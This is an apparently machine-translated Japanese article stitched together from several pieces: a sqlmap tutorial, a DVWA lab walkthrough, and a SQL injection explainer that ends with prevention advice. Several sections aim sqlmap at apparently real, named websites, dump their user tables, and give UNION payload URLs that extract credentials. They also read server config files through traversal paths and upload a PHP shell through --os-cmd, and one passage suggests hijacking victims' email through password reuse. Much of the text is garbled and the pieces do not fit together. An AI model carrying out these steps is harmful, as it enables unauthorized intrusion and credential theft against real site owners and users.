SQL インジェクションを使用してシェルを埋めます。 sqlmap の使用手順。 パート 1: 仕事の基本 (GET)。 sqlmap スキャン結果

21.07.2023

sqlmap とは何ですか?またその目的は何ですか?

このプログラムを使用すると、サイトに SQL インジェクションの脆弱性がないかチェックできます。 XSS の脆弱性、SQL インジェクションを悪用するだけでなく。 さまざまなサポート SQLの種類-注射とさまざまなデータベース。

sqlmapでできること

sqlmap を使用すると、次のことが可能になります。

  • Webサイトに脆弱性がないかチェックする

サイトが SQL インジェクションに対して脆弱な場合は、次の可能性があります。

  • データベース (全体) のダンプを含む、データベースから情報を受け取る
  • データベースの情報を変更および削除する
  • シェル(バックドア)をWebサーバーにアップロードする

sqlmap を使用するシナリオの 1 つは次のとおりです。

  • データベースからユーザー名とパスワードを取得する
  • サイト管理パネルを検索する(管理パネル)
  • 受け取ったログイン名とパスワードを使用して管理パネルにログインします

脆弱性がある場合、攻撃はさまざまな方向に発展する可能性があります。

  • データの変更
  • バックドアを埋める
  • JavaScript コードを挿入してユーザー データを取得する
  • BeEF にフックするコードの実装

ご覧のとおり、SQL インジェクションは攻撃者に大きな機会を与える非常に危険な脆弱性です。

sqlmapを使用してWebサイトをチェックする

サイトが GET メソッドを使用してユーザーからデータを受信した場合 (変数名と送信されたデータの両方が アドレスバーブラウザ) の場合は、この変数が存在するページのアドレスを選択する必要があります。 疑問符 ( ? )、 例えば:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

最初のアドレスの変数名は次のとおりです。 ID、渡された値は 8 。 2 番目のアドレスの変数名も ID、送信された値 22 。 3 番目の例では、変数名は同じですが、渡される値は p_36. 同名変数はさまざまなサイトのランダムな一致です。何でも構いません。送信されるデータは何でも構いません。記号で区切られた値を持つ複数の変数が存在する可能性があります。 & .

id 変数が SQL インジェクションに対して脆弱かどうかを確認したい場合は、アドレス全体 (http://www.dwib.org/faq2.php?id=8) を入力する必要があります (http://www.dwib ではありません)。 .org /faq2.php または http://www.dwib.org)。

GET メソッドによって渡された変数を確認するコマンドは非常に簡単です。

Sqlmap -u サイトアドレス

これらのサイトの場合、コマンドは次のようになります。

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

検証プロセス中に、sqlmap はさまざまな質問をする場合があり、それに答える必要があります。 y(つまり、はい) または n(つまり、いいえ)。 文字 y と n は大文字でも小文字でもかまいません。 大文字はデフォルトの選択を意味します。これに同意する場合は、Enter キーを押してください。

状況と質問の例:

ターゲットが何らかの WAF/IPS/IDS によって保護されていることをヒューリスティックにより検出しました。sqlmap でバックエンド WAF/IPS/IDS の検出を試行しますか?

ヒューリスティックにより、ターゲットが何らかの WAF/IPS/IDS によって保護されていると判断されました。 sqlmap で WAF/IPS/IDS の名前を決定しますか?

私のお気に入りのリクエスト:

ヒューリスティック (基本) テストでは、GET パラメーター "id" が注入可能である可能性があることが示されています (DBMS: "MySQL" の可能性があります) GET パラメーター "id" に対する SQL インジェクションのテストでは、バックエンド DBMS が "MySQL" であるようです。 他の DBMS に固有のテスト ペイロードをスキップしますか?

重要なのは、パラメータが脆弱である可能性があるとヒューリスティックによって判断され、リモート DBMS がすでに識別されているため、チェックを続行するかどうかを尋ねられるということです。 2 番目のスクリーンショットでは、このサイトも XSS に対して脆弱です。

sqlmap が毎回質問しないようにプロセスを自動化したい場合は、デフォルトの選択を使用します (常に 最良の選択肢)、オプションを指定してコマンドを実行できます。 - バッチ:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

sqlmap のスキャン時に考えられる問題

次のエラーが表示される場合があります。

ターゲット URL への接続がタイムアウトしました。 問題が解決しない場合、sqlmap はリクエストを再試行します。指定されたターゲット URL が有効であることを確認してください。 その場合は、スイッチ「--random-agent」をオンにするか、プロキシ スイッチ (「--ignore-proxy」、「--proxy」など) をオンにして再実行してみてください。

これは、Web サイトが sqlmap と「対話」したくないことを意味します。 オプションとして使用が提案されています --ランダムエージェント。 ブラウザーでサイトを表示できるにもかかわらず、sqlmap が接続不可能について書き込んでいる場合、サイトはユーザー エージェントに重点を置いてリクエストを無視しています。 --random-agent オプションは、標準の sqlmap 値をランダムに変更します。

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

このエラーのもう 1 つの理由は、IP が Web サイトによってブロックされている可能性があります。その場合は、プロキシを使用する必要があります。 すでにプロキシを使用していてこのエラーが表示される場合は、プロキシに通信の問題がある可能性があるため、プロキシなしで試す必要があります。

sqlmap スキャン結果

検出された SQL インジェクションは次のように表示されます。

それらの。 太字の緑色で強調表示され、脆弱なパラメータの名前が書かれ、SQL 脆弱性の種類と単語が表示されます。 注射可能な.

sqlmapでデータベースのリストを取得する

データベースのリストを取得するには、オプションを使用します --dbs。 例:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

データベースからの情報の取得

たとえば、wellerpools.com というサイトでは 2 つのデータベースが見つかりました。

[*] information_schema [*] main_wellerpools

main_wellerpools データベース内のテーブルのリストを知りたいです。 これを行うには、オプションを使用します --テーブル。 それに加えて、オプションの後に興味のあるテーブルを指定する必要があります -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

テーブルのリスト:

何らかの理由で、users テーブルの列のリストを知りたいと考えています。 これを行うには、オプションを使用します --列。 それに加えて、関心のあるデータベースを指定する必要があります ( -D main_wellerpools) とキーの後に -T列のリストを表示したいテーブル:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

コンテンツを表示するには、オプションを使用します - ごみ。 データベースと一緒に指定すると、データベース全体のダンプが作成されます。または、データを 1 つのテーブルまたは 1 つの列に制限することもできます。 次のコマンドを使用して、users テーブル全体の内容を確認します。

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

パスワードを見てください。ざっと調べたところ、パスワードはハッシュだと思いました。 管理者は懸命に自分自身を守ろうとしましたが、役に立ちませんでした。

ちなみに、GET メソッドによって送信されたデータを受け入れるパラメーターには脆弱性があるため、ユーザーのログインとパスワードがサイト自体に直接表示されるように、ブラウザー行で直接リクエストを作成できます。

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+from+ユーザー--

それらの。 私たちは、サイトのユーザー (そしておそらく管理者も) のユーザー名、パスワード、電子メールを持っています。 見つけられたら 管理パネルサイトにアクセスすると、サイトまたは Web サーバーを制御できるようになります。 同じパスワードに対するユーザーの愛情を考慮し、それを知る メールボックス- メールのハッキングを試みることができます。

一般に、SQL インジェクションは非常に危険な脆弱性です。

SQL インジェクションとは、攻撃者が Web アプリケーションの SQL クエリ ロジックを変更し、データベース内の値の読み取り/変更/削除を可能にし、場合によってはサーバー側で任意のコードを実行する攻撃の一種です。 この記事では、SQL インジェクションを実行するための一般的な sqlmap ユーティリティについて説明します。

今のところ、 このタイプ脆弱性はすべての中で最も危険です。 7 年間、「OWASP TOP-10」の先頭は SQL インジェクションによってリードされてきました。

この脆弱性には主に 5 つの理由があります。

  1. 入力パラメータ、特にユーザー入力の検証が不十分または欠如しています。 「入力パラメータはすべて悪です」
  2. データベースへの不当で保護が弱いアクセス。 このカテゴリには次のような要素が含まれます。 多数の管理者とスーパーユーザー (root)、 弱いシステム認証、二次管理者の多数の権限など。
  3. 建築。 時代遅れのテクノロジーの使用、制御手段の欠如、「脅威モデリング」方法論の無視。
  4. 明らかに脆弱なコードの遺伝、セキュリティレベルの低い既製のソリューションの使用。
  5. データからの実行可能コードの適切なレベルの抽象化の欠如。

SQLマップ。

SQL インジェクションの種類。

SQLMap ユーティリティによって利用される SQL インジェクションの種類を見てみましょう。

  1. ブールベースのブラインド SQL インジェクション
    • HTTP リクエストとレスポンスを 1 文字ずつ読み取り、脆弱性を検出する方法。
    • 脆弱なパラメータが検出されると、SQLMap は、サーバーがそのコードを実行して応答するのを待ちながら、構文的に正しい SQL ステートメントを置換または追加します。
    • SQLMap は、元の有効なリクエストと、悪意のあるコードが埋め込まれたリクエストからの応答を比較します。
    • SQLMap は二分アルゴリズムを使用します ( 二等分 アルゴリズム) 最大 7 つの HTTP リクエストを使用して応答の各文字を取得します。
    • 答えが純粋なテキストで与えられない場合、SQLMap はより大きな値を使用してアルゴリズムを適応させて答えを決定します。
  2. 時間ベースのブラインド SQL インジェクション
    • 時間ベースのメソッド自体は、構文的に正しい SQL ステートメントを脆弱なパラメーターに挿入することにより、要求時間と応答時間に基づいて何らかの比較が行われることを前提としています。
    • SQLMap は、データベースを保留にして指定された時間だけ復帰する SQL ステートメントを使用します。
    • 同じ二分アルゴリズムを使用して文字ごとに出力し、SQLMap は HTTP 応答時間を元のリクエストと比較します。
  3. エラーベースのSQLインジェクション
    • SQLMap は、特定のエラーを生成する可能性がある SQL ステートメントを使用します。
    • このユーティリティは、サーバーの HTTP 応答内のエラーを探します。
    • この方法は、Web アプリケーションがエラー メッセージを公開するように構成されている場合にのみ機能します。
  4. UNIONクエリ
    • SQL文の入力 ユニオンオールセレクト .
    • UNION クエリに基づく SQL インジェクションは、アプリケーションの動作に基づいて機能します。 アプリケーションが、書き込まれた SELECT クエリの結果を、ページのコンテンツに出力を書き込むことができる特定のループまたは命令行を介して渡すとき。
    • 出力がどのループにもループされていない場合 のためにまたは他のステートメント文字列では、SQLMap は 1 回限りの UNION クエリ インジェクションを使用します。
  5. 積み上げクエリ
    • 折り畳まれたクエリの使用。 SQLMap は、脆弱なパラメータ値にセミコロン (;) を追加し、次のステートメントを追加します。 実行する必要があるSQL。
    • この手法を使用すると、SELECT 以外の SQL ステートメントを実行できます。 これは、データを操作し、読み取りおよび書き込みアクセスを取得し、最終的にオペレーティング システムによってキャプチャされる場合に役立ちます。
  6. 帯域外
    • この方法では、セカンダリまたは他の通信チャネルを使用して、影響を受けるアプリケーションで実行されたクエリの結果を出力します。
    • たとえば、挿入は Web アプリケーションと次のようなセカンダリ チャネルで行われます。 DNSクエリ、データを攻撃者のドメインに転送するために使用されます。

SQLMap の基本的な使用法。

ユーティリティを起動します (変数内にある必要があります)パス ):

$sqlmap

またはユーティリティ ディレクトリから:

$pythonsqlmap.py

キーはドキュメントを呼び出すために使用されます «- h / — ヘルプ »:

$ sqlmap --help $ python sqlmap.py –help

SQLMap キーの動作は、攻撃者が正確に何を達成したいかによって完全に異なります。 SQLMap アクションの基本リストは次のようになります。

  • 名前、バージョン、その他の詳細などのデータベース情報を一覧表示します。
  • 特定のデータベースを選択すると、そこに含まれるテーブルに関する情報が一覧表示されます。
  • テーブルを選択し、列情報をリストします。
  • 列を選択し、行をリストして値を取得します。
  • さらなる搾取。

練習する。

実践的なトレーニングでは、 くそ 脆弱 ウェブ 応用 (DVWA または「まったく脆弱な Web アプリケーション」)。

DVWA は、PHP や MySQL などのテクノロジーに基づいて構築された無料の Web アプリケーションで、侵入テストのスキルを訓練するために設計されています。

ここではインジェクションのみに興味がありますが、一般に、公式に基づいて作成された他の脆弱性で自分の能力をテストできます。 オワスプ トップ -10 .

追記: この演習は、Linux の基本、つまりエントリーレベルの知識があることを前提としています。 英語 Google を使用できること (上記のスキルがない場合)。

インストール:

  • アプリケーションをダウンロードし、指示に従います。
  • 難易度を低に変更します。
  • ここでは「SQL インジェクション」タブのみに注目します。

初期データ:

  • プライベートネットワーク上のWebサーバー
  • 脆弱な URL: http:// あなたの ホスト . コム /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • 脆弱なパラメータ: ID

それでは始めましょう:

  1. 空き状況を確認しますSQL 注射:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

コマンドの説明:

— url – 脆弱性があると思われるパラメータを含む URL。 このキーの変数は引用符で囲まれていることに注意することが重要です。 チェックされている URL には複数の URL があります 渡されたパラメータ。 それ以外の場合は、引用符を無視して、キーの短いバージョンを使用できます。 “- あなた 等号なし .

- cookie – 攻撃中に直接アクセスするためのセッション cookie (オプションのキー)。

結論:

分析:

  • アプリケーションは SQL インジェクションに対して脆弱です
  • 注入タイプ - UNION クエリ
  • バックエンドデータベース (DBMS) – MySQL5
  • OSの技術詳細 - Linux Ubuntu 8.04、PHP 5.2.4、Apache 2.2.8
  1. データベースの名前をリストします。
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

コマンドの説明:

—dbs – 利用可能なデータベースをリストするためのキー。

結論:

分析: SQLMap には、利用可能なデータベース (合計 7 つ) がリストされました。

  1. テーブルの名前をリストします (DB -ドワワ ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

コマンドの説明:

-D – 対象となるデータベースを指定します。

--tables – データベース内の使用可能なテーブルをリストします。

結論:

分析:ご覧のとおり、SQLMap はデータベース内の 2 つのテーブルの名前を正常にリストしました。 ドワワ .

  1. テーブルの列名の詳細なリストユーザー ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -Tユーザー - 列

コマンドの説明:

-T – 関心のあるテーブルを示します。

—columns – テーブル内の使用可能な列をリストします。

結論:

分析:ご覧のとおり、SQLMap はテーブル内の 6 つの列の名前を正常にリストしました。 ユーザー、BD ドワワ .

  1. テーブルから値をリスト/取得します。」ユーザー ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -Tユーザー -C ユーザー ID、ユーザー、パスワード --dump

コマンドの説明:

C – 興味のある列を示します。

--dump – リストされた列から値をダンプします。

結論:

分析: SQLMap の応答に基づいて、次の点に注意してください。

  • SQLMap は、指定された列からレコードを取得し、それらの列に含まれるデータを分析します。
  • データがパスワード ハッシュの可能性があると認識されると、SQLMap はさまざまなハッシュ アルゴリズムを使用してハッシュを解読しようとします。
  • この場合、ハッシュは MD5 であるため、ツールが使用する最初のハッシュ手法を使用して、ハッシュを正常に解読し、適切にフォーマットされた応答を生成できます。
  • さらに、このツールはリストされたエントリを将来の使用に備えて「.csv」ファイル形式で保存します。 したがって、データをアップロードする必要はありません テキストファイルまたはスクリーンショットを撮ると、SQLMap が処理します。
  1. さらなる悪用とサーバーの乗っ取り (A.S.P. 、含まれていませんDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

コマンドの説明:

—data – POST リクエストで送信されるテスト用のパラメーターを指定します。

—os —shell – SQL インジェクションを介してサーバー コンソールを悪用しようとするための特別なキー。

結論:

分析: SQLMap の応答に基づいて、次の点に注意してください。

  • SQL インジェクションを確認して悪用した後、SQLMap はユーザーが DBA (データベース管理者) であるかどうかをチェックします。
  • この後、ツールは通常使用される拡張ストアド プロシージャ「xp_cmdshell」を使用しようとしました。 SQLサーバー 2000.
  • 「xp_cmdshell」は、特定のタスクを実行するために使用されます コマンドラインチームとして オペレーティング·システム。 次に、結果を標準テキストとして出力します。

より深いレベルのシステム アクセスを取得する利点:

  • ユーザー資格情報またはパスワード ハッシュへのアクセス。
  • サーバーからファイルをアップロードまたはダウンロードできる対話型シェル。
  • axis コマンド (OS) を実行して内部ネットワークを探索します。
  • マルウェアをダウンロードする機能。
  • Metasploit フレームワークを使用したさらなる悪用。
  • バックドアの作成と埋め込み。

ベストプラクティスと高度な使用法.

  1. SQLマップ そして石鹸 (単純 物体 アクセス プロトコル ) リクエスト: SOAP リクエストを解析するプロセスは非常に簡単です。
    • SOAP リクエストをキャプチャします。
    • 脆弱性のある可能性のあるパラメータとともにテキスト ファイルに保存します。
    • 脆弱なパラメータがわかっている場合は、SQLMap に対して次のコマンドを -p オプションとともに使用します。
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap は SOAP リクエストを自動的に解析し、脆弱なパラメータへの侵入を試みます。
  1. SQLマップ そしてJSON (JavaScript 物体 表記 ) リクエスト: SOAP クエリに SQLMap を使用する同様のシナリオでは、JSON クエリも分析して悪用できます。 JSON クエリ タイプの場合、SQLMap は、「クエリ ファイル」内の JSON クエリ タイプを検出して脆弱性を悪用するように要求します。 「はい」と答えると、ツールはリクエストを分析し、独自の攻撃ベクトルを選択します。
  2. SQLマップ およびプロキシサーバー:エンタープライズ タイプのネットワークは通常、すべての受信または受信に対して制御されたプロキシを使用してセキュリティが確保され、制御されます。 発信トラフィック。 このような場合、ターゲット URL と通信するために SQLMap オプションにプロキシ オプションを直接追加するオプションがあります。 SQLMap はコマンド ライン ツールですが、HTTP プロトコルを介して通信するため、対応するインターネット接続に HTTP プロキシを設定すると、SQLMap はそれをベースとして使用します。
$ ./sqlmap.py --proxy=http:// :
  1. SQLマップ そしてWAF (ウェブ 応用 ファイアウォール ): WAF は Web アプリケーションの追加保護層であり、SQLMap で利用可能な標準的な方法を使用した分析と操作を大幅に複雑にします。 この目的のために、WAF の背後にある Web アプリケーションの操作を大幅に簡素化する「tamper -script」機能があります。
  2. SQLマップ そして匿名性:自分の身元を隠し、ターゲット アプリケーションに対して匿名を装いたい場合は、TOR (The Onion Router) プロキシ サーバーを使用できます。 SQLMap では、次のキーを使用して、トラフィックまたはリクエストの生成元のソースを非表示にするように TOR プロキシを構成できます。
    • トール ユーティリティを TOR プロキシ モードに切り替えます。
    • トール タイプ TOR プロキシ プロトコル (HTTP /SOCKS 4/4a /5) の手動構成。
    • チェック トール TOR プロキシの機能をチェックする

スポイラー: 。禅

サイトには次のような SQL インジェクションがあります。

まず最初に、攻撃されたリソースにファイルを書き込む権限があるかどうかを確認し、ターミナルをロードして次のコマンドを実行します。

http://www.sacoor.com/site_terms.php?lang=ja --banner --current-db --current-user --is-dba

Enter キーを押すと SQL インジェクションの分析が始まり、レポートは次のようになります。

レポートには、Apache のバージョン、MySQL のバージョン、サーバーにインストールされている OS のバージョンが記載されており、これはすべて将来的に役立ちますが、最も重要なのは次のことがわかります。ファイルを書き込む権限があります。これは、「Current User is DBA: True」という行に表示されます。

次のステップは、シェルを記録するためのパスを取得することです。 httpd.conf ファイルをダウンロードすると、サーバー上のサイトへのパスを取得できます。 httpd.conf ファイルの場所に関する情報は、次から取得します。 Googleを使用してでは、インストールされている OS のバージョン、または最も可能性の高いパスのリストによって検索できます。 基本的にサーフィンについては詳しく説明しません 検索エンジンファイルへのパスの最も可能性の高い場所がわかったら、このファイルをディスクにダウンロードします。これを行うには、次のコマンドを入力して、サーバー上のファイルの読み取りを要求します。

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

この構成ファイルを最初に見つけることが常に可能であるとは限らないため、このファイルが存在する可能性が最も高いパスを使用できることにすぐに注意してください。

設定ファイルへの可能なパスのリスト:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../。 ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../。 ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../。 ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../。 ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

sqlmap から次の形式でレポートを受け取ります。

ご覧のとおり、sqlmap はファイルのサイズがサーバー上のファイルと同じであることを示しているため、このファイルを読み取る権利があります。 このファイルを読み取るための十分な権限がない場合は、マシンに保存されているファイルのサイズがサーバー上のファイルと異なるか、指定したパスにあるサーバー上にファイルが存在しないというエラーが表示されます。された。 Sqlmap はファイルをレポート ファイルに保存しました。それを読み取るには、ウィンドウ マネージャーを起動する必要があります。 始めるには ウィンドウマネージャー別のターミナル ウィンドウを開いて次のコマンドを入力します。

次に、開いたマネージャーで、sqlmap がファイルを追加したパスをたどります。つまり、次のようになります。
/root/.sqlmap/output/sacoor.com
次に、ファイルの上にカーソルを置き、キーボードの F3 ボタンを押して、Apache 構成ファイルを読み取ります。

構成ファイルから、サイトがサーバー上の次のパスに配置されていることがわかります。
/ホーム/sbショップ/サイト/

少しの情報が得られたので、シェルに情報を入力してみます。これを行うには、次のコマンドを入力します。

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

コマンドを入力すると、sqlmap はどのタイプのフィラーを使用するかを尋ねます。 私たちの場合、サイトは PHP なので、PHP ローダーをアップロードし、項目 4 を選択して Enter を押します。 次に、sqlmap はローダーをアップロードする場所を選択するように求めます。 サーバー上のサイトへのパスはすでにわかっているので、項目 2 を選択し、Enter キーを押してサイトへのパスを指定します。
/ホーム/sbショップ/サイト/

その後、Enter キーを押すと、次のレポートが表示されます。

この場合 sqlmap はそれを教えてくれます このフォルダ私たちには書き込み権限がありません。 問題ありません。この問題は非常に簡単に解決できます。 uniscan を起動し、ファイルとフォルダーの書き込み可能性をチェックするコマンドを与えます。コマンドは次のとおりです。

SQL インジェクションは、ステートメントの特定の部分をコメント アウトするか、常に true となる条件を追加することによって、動的 SQL ステートメントを悪用する攻撃です。 これは、Web アプリケーション アーキテクチャのホールをターゲットにし、SQL ステートメントを使用して悪意のある SQL コードを実行します。

この記事では、SQL インジェクションで使用される手法と、そのような攻撃から Web アプリケーションを保護する方法について説明します。

SQL インジェクションの仕組み

SQL インジェクションを使用して実行できる攻撃の種類は、影響を受けるデータベース エンジンの種類によって異なります。 この攻撃は動的 SQL ステートメントをターゲットとしています。 動的ステートメントは、Web フォームまたは URI クエリ文字列のパラメーターに基づいて実行時に作成されるステートメントです。

ログイン フォームを備えた単純な Web アプリケーションを考えてみましょう。 HTML フォームのコードは次のとおりです。

  • フォームは電子メール アドレスを受け入れ、パスワードが次の宛先に送信されます。 PHPファイル名前はindex.phpです。
  • セッションは次の場所に保存されます クッキー。 この機能は、remember_me フラグをチェックすることで有効になります。 データの送信にはpostメソッドを使用します。 これは、値が URL に表示されないことを意味します。

サーバー側でユーザー ID を確認するリクエストが次のようになっていると仮定します。

  • リクエストは $_POST 配列の値をサニタイズせずに直接使用します。
  • パスワードは MD5 アルゴリズムを使用して暗号化されます。

SQL インジェクション sqlfiddle を使用した攻撃を見ていきます。 ブラウザで URL http://sqlfiddle.com/ を開きます。 次のウィンドウが画面に表示されます。

注: SQL ステートメントを記述する必要があります。

ステップ 1: 左側のパネルに次のコードを入力します。

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); ユーザー (メールアドレス、パスワード) の値を挿入 (" [メールで保護されています]",md5("abc"));

ステップ 2: ボタンをクリックします スキーマの構築».
ステップ 3: 右側のペインに以下のコードを入力します。

ユーザーから * を選択します。

ステップ 4: 「」をクリックします。 SQLを実行する」 次の結果が表示されます。

ユーザーが電子メール アドレスを提供したと仮定します。 [メールで保護されています]パスワードとして 1234 を入力します。 データベース上で実行する必要があるクエリは次のようになります。

上記の SQL インジェクション コードの例は、パスワードの一部をコメント アウトし、常に true となる条件を追加することで回避できます。 攻撃者が電子メール アドレス フィールドに次のデータを挿入したと仮定します。

[メールで保護されています]" OR 1 = 1 リミット 1 -- " ]

パスワードフィールドにxxxを入力します。

生成された動的ステートメントは次のようになります。

  • [メールで保護されています]一重引用符で終わり、文字列を終了します。
  • OR 1 = 1 LIMIT 1 は常に true となる条件で、返される結果を 1 つのレコードのみに制限します。

0; ' AND ... はパスワード部分を除いた SQL コメントです。

以下に示すように、上記のクエリをコピーし、FiddleRun SQL テキスト ボックスに貼り付けます。

ハッカーの活動: Web アプリケーションへの SQL インジェクション

http://www.techpanda.org/ で入手できる簡単な Web アプリケーションを用意しています。これは、デモンストレーション目的で初心者向けに SQL インジェクション攻撃に対して特別に脆弱になっています。 上記の HTML フォーム コードは、このアプリケーションの認証ページから取得したものです。

電子メールフィールドのサニタイズなどの基本的なセキュリティを提供します。 これは、上記のコードを使用してこのメ​​カニズムをバイパスすることはできないことを意味します。

これを回避するには、パスワード フィールドを使用できます。 以下の図は、従う必要がある手順を示しています。

攻撃者が次のデータを提供したと仮定します。

ステップ 1: 入力する [メールで保護されています]電子メールアドレスとして;
ステップ 2: xxx') または 1 = 1 - ] を入力します。

「送信」ボタンをクリックします。

管理パネルに送信されます。 生成されたクエリは次のようになります。

以下の図は、リクエストがどのように生成されたかを示しています。

ここ:

  • このリクエストでは、MD5 暗号化が使用されることを前提としています。
  • 閉じ一重引用符と括弧が使用されます。
  • 常に true となる条件が演算子に追加されます。

通常、攻撃者は目的を達成するために、SQL インジェクション攻撃でいくつかの異なる方法を使用しようとします。

他の種類の SQL インジェクション攻撃

SQL インジェクションは、承認メカニズムをバイパスしてシステムにログインするよりもはるかに大きな損害を引き起こす可能性があります。 これらの攻撃の中には、次のようなものもあります。

  • データの削除を実行します。
  • データ更新を実行します。
  • データを追加します。
  • サーバー上で悪意のあるプログラムをダウンロードしてインストールするコマンドを実行します。
  • エクスポート先 リモートサーバー詳細などの貴重なデータの攻撃者 クレジットカード, 電子メールそしてパスワード。

上記のリストは完全ではありません。 これは、SQL インジェクションがもたらす危険性についてのアイデアを提供するだけです。

SQL インジェクションを自動化するツール

上の例では、手動による攻撃方法を使用しました。 SQL インジェクションを実行する前に、より効率的かつ迅速に攻撃を実行できる自動化ツールがあることを理解する必要があります。

  • SQLスマック ;
  • SQLPing 2 ;
  • SQLマップ。

SQLインジェクションを防ぐ方法

SQL インジェクション攻撃から保護するための簡単なルールをいくつか示します。

ユーザー入力は信頼すべきではありません。 データを動的 SQL 操作で使用する前に、常にサニタイズする必要があります。

ストアドプロシージャ- SQL クエリをカプセル化し、すべての入力データをパラメータとして処理できます。

準備されたクエリ- 最初にクエリが作成され、次に提供されたすべてのユーザー データがパラメータとして処理されます。 これは SQL ステートメントの構文には影響しません。

正規表現- SQL ステートメントを実行する前に、潜在的に悪意のあるコードを検出し、削除するために使用できます。

データベースに接続するためのアクセス権- に SQL インジェクションから保護する、データベースへの接続に使用されるアカウントには、必要なアクセス権のみを付与する必要があります。 これは、SQL ステートメントがサーバー上で実行できるアクションを制限するのに役立ちます。

エラーメッセージ- 開示してはなりません 機密情報。 「」などの単純なカスタム エラー メッセージ ごめんなさい、それは起こりました 技術的エラー。 この件についてはサポート チームにすでに通知されています。 後でもう一度試してください」を表示する代わりに使用できます。 SQLクエリそれがエラーの原因でした。